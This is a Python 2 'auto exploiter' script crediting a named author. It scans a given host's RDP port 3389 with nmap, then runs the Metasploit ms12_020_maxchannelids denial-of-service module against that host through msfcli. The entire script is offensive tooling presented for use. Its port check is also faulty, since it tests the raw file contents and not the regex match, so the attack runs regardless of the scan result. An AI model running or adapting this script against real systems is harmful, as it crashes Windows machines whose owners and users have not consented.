MS12_020 RDP Auto Exploit Python Script

#!/usr/bin/env python
print """
  *************************************************************
  \tAUTO EXPLOITER(ms12_020 rdp Exploit) \t
  \tWRITTEN BY : TEJASH PATEL \t
  \tFACEBOOK : https://www.facebook.com/tejash1991\t
  \tYOUTUBE CHANNEL : https://www.youtube.com/user/tejash443\t
  *************************************************************
"""
import os
import sys
import subprocess
import re

if os.getuid() != 0:
  print 'requires root privileges.'
  sys.exit(1)

def usage():
  if len(sys.argv) != 2:
    print 'Usage: ./smb.py [RemoteHost]'
    print 'EX)    ./smb.py 192.168.1.50'
    print 'Watch Video - https://www.youtube.com/watch?v=03U0yDJ-TtI&feature=youtu.be'
    sys.exit(1)
usage()


RHOST = sys.argv[1]

nmap = subprocess.Popen('nmap -p3389 %s -oN /tmp/nmap.txt' %RHOST, shell=True).wait()

nmapresul = open('/tmp/nmap.txt', 'rU')
found= nmapresul.read()
vulnerability = re.search(r'3389[/]tcp\sopen', found)
if not found:
  print '\n3389 Port is close'
  sys.exit(1)

print '\nPort Is Open.Let me Check ms12_020 rdp Exploit'

metasploit = subprocess.Popen('msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids  RHOST=%s  RPORT=3389 E' %RHOST, shell=True).wait()
subprocess.Popen('rm -f /tmp/nmap.txt > /dev/null', shell=True).wait()